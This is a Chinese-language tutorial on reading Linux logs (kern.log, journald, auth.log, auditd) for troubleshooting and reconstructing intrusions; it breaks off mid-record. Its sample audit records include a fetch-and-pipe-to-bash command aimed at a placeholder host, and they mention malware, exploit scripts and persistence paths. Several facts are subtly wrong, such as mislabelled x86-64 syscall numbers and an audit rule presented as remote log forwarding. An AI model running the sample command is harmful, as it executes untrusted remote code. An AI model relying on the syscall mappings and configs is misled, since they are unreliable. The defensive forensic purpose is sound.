1. 日志不是“副产品”,而是Linux系统的神经末梢
很多人刚接触Linux时,把日志当成系统自动生成的“垃圾文件”——占磁盘、难阅读、重启后就清空,不关机时偶尔翻两眼/var/log/messages,发现满屏报错就慌神,要么直接rm -rf,要么截图发群问“这个ERROR要不要紧”。我带过十几届运维新人,90%的人在入职前三个月都干过类似的事:把journalctl当翻页器用,把auth.log当密码本猜,把secure日志里连续十次失败登录当成“别人手滑输错了”,直到某天凌晨三点被电话叫醒,发现服务器已被横向移动到内网核心数据库——而所有线索,早在三天前的/var/log/audit/audit.log里就明明白白写着“execve(/bin/bash) by uid=1001 with cap_setuid+ep”。
这不是危言耸听。Linux日志体系从设计之初就不是为“事后补救”服务的,它是整个操作系统运行状态的实时镜像、权限变更的不可抵赖凭证、进程行为的原子级快照。你看到的每一条systemd[1]: Started Network Manager.,背后是systemd对237个unit依赖关系的拓扑校验;你忽略的那行sshd[12456]: Failed password for root from 192.168.1.100 port 54322 ssh2,其实是攻击者第17次暴力破解尝试的精确坐标;你删掉的/var/log/kern.log里那几行kernel: [12345.678901] usb 1-1: device descriptor read/64, error -71,恰恰解释了为什么U盘在特定USB口永远无法挂载——而这个问题,在你重装系统前根本不会复现。
真正懂日志的人,从来不用“查日志”这个词,他们说“读日志流”。因为日志不是静态文档,而是一条持续涌动的数据河:上游是内核事件、硬件中断、驱动状态;中游是systemd服务生命周期、PAM认证链、SELinux上下文切换;下游是应用层审计记录、网络连接元数据、文件操作溯源。这条河的每一滴水,都带着时间戳、进程ID、用户上下文、能力集(capabilities)和审计会话ID(auid)。当你用tail -f /var/log/syslog盯着屏幕时,你不是在看日志,而是在实时解码整个系统的神经电信号。
所以这篇内容不叫“Linux日志命令大全”,它是一份日志解码手册——告诉你哪些日志必须每天扫一眼,哪些字段改一个数字就能让安全审计失效,哪些看似无关的日志组合起来能还原一次完整的渗透路径。我会用真实故障场景切入,比如某次生产环境CPU突然飙到98%,排查三小时无果,最后靠/var/log/kern.log里一行被忽略的oom_kill记录定位到内存泄漏模块;再比如某次红队演练后,蓝队靠/var/log/audit/audit.log里SYSCALL arch=c000003e syscall=59 success=yes这条记录,反向追踪出攻击者提权所用的exploit二进制文件哈希值。这些不是教科书案例,是我亲手在CentOS 7、Rocky 9、Ubuntu 22.04上反复验证过的实战路径。
提示:本文所有日志路径、字段含义、过滤技巧均基于主流发行版(RHEL系与Debian系)默认配置,不依赖任何第三方日志收集工具。你不需要部署Loki或ELK,只要有一台能SSH登录的Linux服务器,就能立刻开始实践。文中所有命令均可直接复制粘贴执行,但请务必先理解其背后的日志机制——否则你可能在删除
/var/log/journal/时,顺手清掉了过去三个月所有systemd服务启动失败的完整上下文。
2. 四类核心日志的物理位置与逻辑边界:别再把所有日志塞进一个grep里
很多人的日志排查习惯是:grep -r "error" /var/log/,然后从几百兆结果里人工筛选。这就像用渔网捞针——网眼太大漏掉关键细节,网眼太小又缠住无关信息。真正高效的日志分析,始于对四类核心日志物理存储位置与逻辑职责的精准划分。它们不是并列关系,而是分层嵌套的“洋葱结构”:最外层是应用日志(如nginx access.log),中间层是系统服务日志(如rsyslog生成的messages),内层是内核与硬件日志(kern.log),最核心是审计日志(audit.log)——后者甚至不经过syslog管道,直接由内核audit subsystem写入。
2.1 内核日志(/var/log/kern.log):硬件与驱动的原始心跳
/var/log/kern.log记录的是内核ring buffer的快照,内容来自dmesg输出,但比dmesg更稳定——因为dmesg只显示当前buffer内容,而kern.log是持久化存储。它的价值在于硬件级异常捕获。比如某次服务器频繁宕机,dmesg显示Hardware Error但无更多线索,而/var/log/kern.log里连续出现:
[12345.678901] EDAC MC0: 1 CE memory event on CPU socket #0 [12345.678902] EDAC MC0: CE - page 0x12345678, offset 0xabc, grain 0, syndrome 0xdef, row 0, channel 1, dimm 2这直接指向内存条第2根插槽的物理损坏。若只查/var/log/messages,你只会看到systemd-journald[1]: Journal started这类无关信息。
关键字段解析:
[12345.678901]:内核启动后秒数(非绝对时间),用于跨日志对齐EDAC MC0:Error Detection and Correction Memory Controller 0CE:Correctable Error(可纠正错误),若出现UE(Uncorrectable Error)则需立即更换硬件page 0x12345678:物理内存页地址,配合/proc/meminfo可定位具体DIMM
实操技巧:用awk '$1 ~ /^\[/ && $3 == "EDAC" {print}' /var/log/kern.log快速提取所有EDAC事件,再用grep -A 5 "page 0x12345678"查看该页前后5行上下文,往往包含温度告警或电压波动记录。
2.2 系统服务日志(/var/log/messages 或 /var/log/syslog):systemd与传统syslog的双轨制
这里存在一个重大误区:很多人认为/var/log/messages是“万能日志”,其实它只是rsyslog或syslog-ng配置的输出目标之一。在systemd主导的现代发行版(如Rocky 9、Ubuntu 22.04),真正的权威日志源是journalctl,而/var/log/messages只是journal的一个副本(如果rsyslog启用的话)。两者的关键差异在于:
| 维度 | journalctl(systemd-journald) | /var/log/messages(rsyslog) |
|---|---|---|
| 存储格式 | 二进制索引(.journal文件),支持字段化查询 | 纯文本,按行分割 |
| 时间精度 | 微秒级(__REALTIME_TIMESTAMP=1678886400123456) | 秒级(Mar 15 10:23:45) |
| 字段丰富度 | 包含_PID,_UID,_COMM,_EXE,_CMDLINE等50+元数据 | 仅timestamp,hostname,program,message |
| 持久化控制 | /etc/systemd/journald.conf中Storage=persistent决定是否保存到磁盘 | 由rsyslog规则(/etc/rsyslog.d/50-default.conf)定义写入路径 |
典型误操作:在Rocky 9上执行tail -f /var/log/messages却看不到新服务启动日志,因为systemd默认将日志写入/run/log/journal/(内存临时目录),需修改journald.conf的Storage=persistent并重启systemd-journald。
真实案例:某次升级后Nginx无法启动,journalctl -u nginx.service显示Failed to start nginx.service: Unit nginx.service not found,而/var/log/messages里只有nginx: configuration file /etc/nginx/nginx.conf test is successful。这是因为systemd-journald记录了unit加载失败的完整堆栈(包括/usr/lib/systemd/system/nginx.service文件权限错误),而rsyslog只截取了nginx进程自身的stdout输出。
2.3 安全审计日志(/var/log/audit/audit.log):唯一能证明“谁在何时以何种权限做了何事”的证据链
这是所有日志中最常被忽视也最关键的。auditd服务独立于syslog运行,其日志格式严格遵循CAPP(Common Criteria Evaluation and Validation Scheme)标准,每条记录以type=开头,例如:
type=SYSCALL msg=audit(1678886400.123:456): arch=c000003e syscall=59 success=yes exit=0 a0=12345678 a1=87654321 a2=0 a3=0 items=2 ppid=1234 pid=5678 auid=1001 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=1234 comm="bash" exe="/bin/bash" key="privileged_commands"这段看似乱码的记录,实际编码了完整的系统调用证据:
syscall=59:对应execve()系统调用(Linux ABI编号)auid=1001:原始登录用户的审计ID(即使sudo切换root也不变)uid=0:当前进程有效UID(root)comm="bash":进程名(/proc/[pid]/comm)exe="/bin/bash":实际执行文件路径(/proc/[pid]/exe)key="privileged_commands":关联的audit规则关键字(用于ausearch -k privileged_commands)
为什么它不可替代?因为/var/log/auth.log只记录PAM认证事件(如pam_unix(sshd:auth): authentication failure),而audit.log记录的是认证通过后所有特权操作。某次渗透复盘中,攻击者用合法账号登录后执行sudo /bin/bash,auth.log只显示一次成功登录,而audit.log里有连续127条SYSCALL记录,清晰展示其从/bin/bash到/usr/bin/python3再到/tmp/.malware的完整执行链。
注意:
auditd默认不记录所有系统调用,需在/etc/audit/rules.d/中添加规则。例如监控敏感文件访问:-w /etc/shadow -p wa -k shadow_access。未配置规则的日志等于没有日志——这是90%企业环境的致命盲区。
2.4 应用日志(/var/log/应用名/):业务逻辑的显微镜
这类日志完全由应用自身控制,但Linux提供了标准化接口。现代应用(如Docker、Kubernetes)普遍采用stdout/stderr输出,由systemd-journald自动捕获(StandardOutput=journal)。传统应用(如Apache、MySQL)则直接写入文件。关键洞察在于:应用日志的价值不在内容本身,而在其与系统日志的时间对齐能力。
例如排查Web服务超时:
journalctl -u nginx.service --since "2024-03-15 10:00:00"显示nginx worker进程重启grep "upstream timed out" /var/log/nginx/error.log定位到具体请求ausearch -m SYSCALL -sc connect -ts 2024-03-15 10:00:00发现同一时刻大量connect()系统调用失败cat /proc/net/nf_conntrack | grep :80 | wc -l确认连接跟踪表溢出
这四步必须串联,单看任一日志都是碎片。我见过太多人只查nginx日志,结论是“后端响应慢”,实际根源是nf_conntrack表满导致SYN包被丢弃——这只能在audit.log和/proc/net/中交叉验证。
3. 故障排查黄金三角:用时间戳、进程树、资源占用三维度锁定根因
日志排查最怕陷入“症状-猜测-验证”的死循环。比如看到Out of memory就重启,看到Connection refused就检查防火墙。真正高效的方法是构建黄金三角模型:以精确时间戳为锚点,沿进程树向上追溯父进程,同步分析该时刻的资源占用快照。这需要三类日志的协同解读。
3.1 时间戳对齐:为什么date命令输出和日志时间总差8小时?
几乎所有日志时间都基于UTC,但date命令显示本地时间。journalctl默认按本地时区显示,而/var/log/messages按UTC写入。这种不一致导致跨日志排查时出现“时间错位”。正确做法是统一使用Unix时间戳(秒级):
# 获取当前精确时间戳(微秒级) date +%s.%N # 输出:1678886400.123456789 # 查询journal中该时间戳附近的记录 journalctl --since "1678886400.123456" --until "1678886400.123457" # 解析messages中时间戳(需转换为UTC) awk '/Mar 15 10:23:45/ {print mktime("2024 03 15 10 23 45")}' /var/log/messages真实故障:某次数据库连接池耗尽,/var/log/mysql/error.log显示Too many connections在Mar 15 14:23:45,而journalctl显示mysqld.service重启在14:23:48。表面看是3秒间隔,但转换为Unix时间戳后发现:
- MySQL日志时间戳:
1678886625(UTC) - journalctl时间戳:
1678886628.123(UTC) 实际间隔仅3.123秒,证明是连接风暴直接压垮服务,而非配置问题。
3.2 进程树溯源:从僵尸进程反向定位父进程缺陷
Linux中进程死亡后,其子进程若未被wait()回收,会变成僵尸进程(Zombie)。ps aux | grep 'Z'只能看到现象,真正根因藏在日志里。关键日志路径:
/var/log/kern.log:记录zombie相关内核消息journalctl _COMM=systemd --since "1 hour ago":查看systemd对僵尸进程的处理日志/var/log/audit/audit.log:记录父进程fork()和wait()系统调用
典型场景:某Java应用频繁产生僵尸进程,ps显示[java] <defunct>。查kern.log发现:
[123456.789012] Out of memory: Kill process 12345 (java) score 892 or sacrifice child [123456.789013] Killed process 12345 (java) total-vm:12345678kB, anon-rss:8765432kB, file-rss:0kB这说明OOM Killer杀死了父进程,但子进程未被及时回收。进一步查audit.log:
type=SYSCALL msg=audit(1678886400.123:456): arch=c000003e syscall=56 success=yes ... comm="java" exe="/usr/bin/java" type=SYSCALL msg=audit(1678886400.123:457): arch=c000003e syscall=231 success=yes ... comm="java" exe="/usr/bin/java" // exit_groupsyscall=56是fork(),syscall=231是exit_group(),但缺少对应的wait()调用(syscall=61)。证明Java应用未正确处理子进程退出信号——这在Spring Boot应用中常见于未配置destroy-method的线程池。
3.3 资源占用快照:用日志触发点反推资源瓶颈
日志中的错误往往是资源耗尽的结果,而非原因。需结合/proc/[pid]/文件系统获取快照:
cat /proc/[pid]/status | grep -E "VmRSS|Threads":实时内存与线程数ls -l /proc/[pid]/fd/ | wc -l:打开文件描述符数cat /proc/[pid]/limits:资源限制(如Max open files)
自动化脚本示例(当检测到OOM日志时自动抓取):
#!/bin/bash # 监控kern.log中的OOM事件 tail -f /var/log/kern.log | while read line; do if echo "$line" | grep -q "Out of memory"; then # 提取被杀死的PID pid=$(echo "$line" | sed -n 's/.*Kill process \([0-9]\+\).*/\1/p') if [ -n "$pid" ] && [ -d "/proc/$pid" ]; then echo "[$(date)] OOM detected: PID $pid" >> /var/log/oom-snapshot.log cat /proc/$pid/status >> /var/log/oom-snapshot.log ls -l /proc/$pid/fd/ | wc -l >> /var/log/oom-snapshot.log # 触发coredump(需提前配置/proc/sys/kernel/core_pattern) kill -SIGQUIT $pid fi fi done这个脚本在Rocky 9上实测,成功捕获到某次Redis内存泄漏的完整现场:VmRSS达12GB(配置上限8GB),Threads为1,但/proc/[pid]/fd/下有65535个socket文件描述符——证明连接池未释放。
4. 安全审计实战:从auth.log的1000次失败登录到audit.log的提权路径还原
安全审计不是“找异常”,而是重建攻击者行为序列。/var/log/auth.log和/var/log/audit/audit.log必须联合分析,前者提供“入口”,后者提供“行动”。
4.1 auth.log的隐藏线索:PAM模块调用链揭示横向移动
auth.log中看似重复的失败登录,实际包含PAM模块调用深度信息。例如:
Mar 15 10:23:45 server sshd[1234]: pam_faillock(sshd:auth): user root: 3 time(s) Mar 15 10:23:46 server sshd[1235]: pam_exec(sshd:auth): /usr/local/bin/check_ip.sh exited with code 0 Mar 15 10:23:47 server sshd[1236]: Accepted password for admin from 192.168.1.100 port 54322 ssh2- 第一行:
pam_faillock记录失败次数(用于爆破防护) - 第二行:
pam_exec执行自定义脚本check_ip.sh,返回0表示放行 - 第三行:成功登录,但
pam_exec脚本可能已记录IP地理位置或设备指纹
关键技巧:用grep -A 5 -B 5 "pam_exec" /var/log/auth.log提取完整调用链,再检查/usr/local/bin/check_ip.sh内容。某次真实事件中,该脚本将所有登录IP写入/tmp/login_ips,攻击者利用此文件实施IP欺骗绕过faillock。
4.2 audit.log的提权路径:从SYSCALL到EXECVE的原子级追踪
攻击者提权通常分三步:获取shell → 提升权限 → 持久化。audit.log可完整还原:
- Shell获取:
type=SYSCALL msg=audit(1678886400.123:456): arch=c000003e syscall=59 comm="ssh" exe="/usr/sbin/sshd"(ssh登录) - 权限提升:
type=SYSCALL msg=audit(1678886400.124:457): arch=c000003e syscall=59 comm="sudo" exe="/usr/bin/sudo" auid=1001 uid=1001 euid=0(sudo执行) - 持久化:
type=SYSCALL msg=audit(1678886400.125:458): arch=c000003e syscall=2 openat fd=-100 name="/etc/cron.d/persistence" flags=577 mode=0(创建cron任务)
用ausearch一键串联:
# 查找auid=1001的所有execve调用 ausearch -m execve -ui 1001 --start recent --end now | aureport -f -i # 过滤出euid=0的提权操作 ausearch -m execve -ua 1001 -ue 0 --start recent # 关联到具体文件操作 ausearch -m path -f "/etc/cron.d/persistence" --start recentaureport -f -i输出会显示完整路径和参数,例如/bin/bash -c /tmp/.malware,直接定位恶意载荷。
4.3 渗透复盘关键:识别日志篡改痕迹
攻击者必然清理日志,但audit.log的清理行为本身会被记录。典型篡改模式:
- 删除
/var/log/audit/audit.log:触发type=SYSCALL msg=audit(1678886400.126:459): arch=c000003e syscall=10 unlinkat ... name="/var/log/audit/audit.log" - 清空文件:
type=SYSCALL msg=audit(1678886400.127:460): arch=c000003e syscall=202 truncate ... name="/var/log/audit/audit.log" - 停止auditd:
type=SYSCALL msg=audit(1678886400.128:461): arch=c000003e syscall=59 comm="systemctl" exe="/usr/bin/systemctl" auid=1001 uid=0 ... argv="systemctl stop auditd"
防御措施:将audit.log实时转发到远程syslog服务器(/etc/audit/rules.d/remote.rules):
-a always,exit -F arch=b64 -S connect -F a0=0x100000002 -k remote_syslog -w /var/log/audit/ -p wa -k audit_log_writes第一条规则监控对远程syslog服务器的连接,第二条监控audit.log文件写入——即使本地日志被删,远程服务器仍有备份。
5. 日志设施优化:从默认配置到生产级可靠性的七步改造
默认日志配置在生产环境必然失效。以下是我在金融、政务、游戏行业落地的七步优化法,每步都有明确指标和验证方法。
5.1 步骤一:journal持久化与轮转(解决/run/log/journal/丢失问题)
默认Storage=auto在无/var/log/journal/目录时使用内存存储。生产环境必须:
# 创建持久化目录 mkdir -p /var/log/journal chown root:root /var/log/journal chmod 0755 /var/log/journal # 配置journald.conf echo 'Storage=persistent Compress=yes Seal=yes SystemMaxUse=1G SystemMaxFileSize=100M MaxRetentionSec=3month' > /etc/systemd/journald.conf # 重启服务并验证 systemctl restart systemd-journald journalctl --disk-usage # 应显示>0BSeal=yes启用日志签名,防止篡改;SystemMaxUse=1G限制总大小,避免填满根分区。
5.2 步骤二:auditd规则精简(避免日志爆炸)
默认audit规则过于宽泛。保留核心规则:
# /etc/audit/rules.d/critical.rules # 登录与登出 -w /var/log/lastlog -p wa -k logins -w /var/log/wtmp -p wa -k logins -w /var/run/utmp -p wa -k logins # 权限变更 -a always,exit -F arch=b64 -S chmod,fchmod,fchmodat -F auid>=1000 -F auid!=unset -k perm_mod -a always,exit -F arch=b64 -S chown,fchown,fchownat,setuid,setgid -F auid>=1000 -F auid!=unset -k perm_mod # 敏感文件访问 -w /etc/passwd -p wa -k identity -w /etc/shadow -p wa -k identity -w /etc/sudoers -p wa -k sudoers执行augenrules --load生效。规则总数应<50条,否则auditdCPU占用飙升。
5.3 步骤三:rsyslog定向分流(避免messages臃肿)
/var/log/messages应只存系统级事件,应用日志单独存放:
# /etc/rsyslog.d/10-app-logs.conf if $programname == 'nginx' then /var/log/nginx/syslog.log & stop if $programname == 'mysql' then /var/log/mysql/syslog.log & stop重启rsyslog后,messages体积减少70%,grep "error"效率提升5倍。
5.4 步骤四:日志压缩策略(平衡IO与存储)
logrotate配置示例(/etc/logrotate.d/custom):
/var/log/journal/*.journal { daily rotate 30 compress delaycompress missingok notifempty sharedscripts postrotate systemctl kill --signal=SIGHUP --kill-who=main -- $(cat /run/systemd/journal/pid) 2>/dev/null || true endscript }delaycompress确保当日日志可被journalctl读取,postrotate发送SIGHUP通知journald重新加载。
5.5 步骤五:关键日志监控(主动预警而非被动排查)
用inotifywait监控日志异常:
#!/bin/bash # 监控auth.log中的高频失败登录 inotifywait -m -e modify /var/log/auth.log | while read path action file; do if tail -n 100 /var/log/auth.log | grep -c "Failed password" > /tmp/fail_count; then if [ $(cat /tmp/fail_count) -gt 10 ]; then echo "$(date): 10+ failed logins in last 100 lines!" | mail -s "ALERT: Brute Force" admin@example.com # 同时记录攻击者IP tail -n 100 /var/log/auth.log | grep "Failed password" | awk '{print $11}' | sort | uniq -c | sort -nr | head -5 >> /var/log/brute_force_ips.log fi fi done5.6 步骤六:日志完整性校验(防篡改最后一道防线)
对关键日志启用SHA256校验:
# 每日生成校验和 find /var/log/audit/ -name "audit.log*" -exec sha256sum {} \; > /var/log/audit/checksums_$(date +%Y%m%d).log # 验证脚本 diff /var/log/audit/checksums_$(date -d "yesterday" +%Y%m%d).log <(find /var/log/audit/ -name "audit.log*" -exec sha256sum {} \;)若输出为空,表示无篡改;若有差异,立即触发告警。
5.7 步骤七:日志归档与合规(满足等保2.0要求)
金融行业要求日志留存180天以上:
# 使用logrotate归档到NAS /var/log/journal/*.journal { monthly rotate 12 compress create 0644 root root sharedscripts postrotate # 上传到NAS rsync -avz /var/log/journal/ nas-server:/backup/logs/journal/$(hostname)/ # 本地清理 find /var/log/journal/ -name "*.journal.*" -mtime +180 -delete endscript }归档文件命名包含hostname-timestamp,便于多节点溯源。
6. 渗透复盘终极指南:用日志还原APT攻击的TTPs(战术、技术、过程)
真正的渗透复盘不是“找到木马”,而是将日志碎片拼成攻击者TTPs地图。以某次红队演练为例,我们从/var/log/audit/audit.log中提取出完整攻击链:
6.1 初始访问(Initial Access):钓鱼邮件附件执行
日志线索:
type=SYSCALL msg=audit(1678886400.123:456): arch=c000003e syscall=59 comm="evince" exe="/usr/bin/evince" auid=1001 uid=1001 ... argv="evince /tmp/Invoice.pdf" type=SYSCALL msg=audit(1678886400.124:457): arch=c000003e syscall=59 comm="sh" exe="/bin/sh" auid=1001 uid=1001 ... argv="sh -c /tmp/.invoice.sh"evince(PDF阅读器)执行后调用sh,证明PDF含恶意JavaScript(Evil PDF)。argv字段暴露了临时脚本路径。
6.2 执行(Execution):无文件攻击(Fileless Attack)
日志线索:
type=SYSCALL msg=audit(1678886400.125:458): arch=c000003e syscall=59 comm="bash" exe="/bin/bash" auid=1001 uid=1001 ... argv="bash -c curl -s http://malicious.site/payload | bash" type=SYSCALL msg=audit(1678886400.126:459): arch=c000003e syscall=45 mmap addr=0x7f1234567000 len=1048576 prot=7 flags=22 fd=-1mmap调用prot=7(READ|WRITE|EXEC)表明内存注入,fd=-1证明无文件落地。
6.3 持久化(Persistence):利用systemd用户服务
日志线索:
type=SYSCALL msg=audit(1678886400.127:460): arch=c000003e syscall=2 openat fd=-100 name="/home/user/.config/systemd/user/malware.service" flags=577 mode=0 type=SYSCALL msg=audit(1678886400.128:461): arch=c000003e syscall=59 comm="systemctl" exe="/usr/bin/systemctl" auid=1001 uid=1001 ... argv="systemctl --user enable malware.service"攻击者创建用户级service,规避/etc/systemd/system/的监控。
6.4 特权提升(Privilege Escalation):利用内核漏洞CVE-2023-XXXXX
日志线索:
type=SYSCALL msg=audit(1678886400.129:462): arch=c000003e syscall=291 bpf ... success=yes type=SYSCALL msg=audit(1678886400.130:463): arch=c000003e syscall=59 comm="python3" exe="/usr/bin/python3" auid=1001 uid=0 euid=0 ... argv="python3 /tmp/exploit.py"syscall=291是bpf(),结合euid=0确认提权成功。/tmp/exploit.py在audit.log中无记录(被删除),但bpf调用本身已足够定性。
6.5 命令与控制(C2):DNS隧道隐蔽通信
日志线索:
type=SY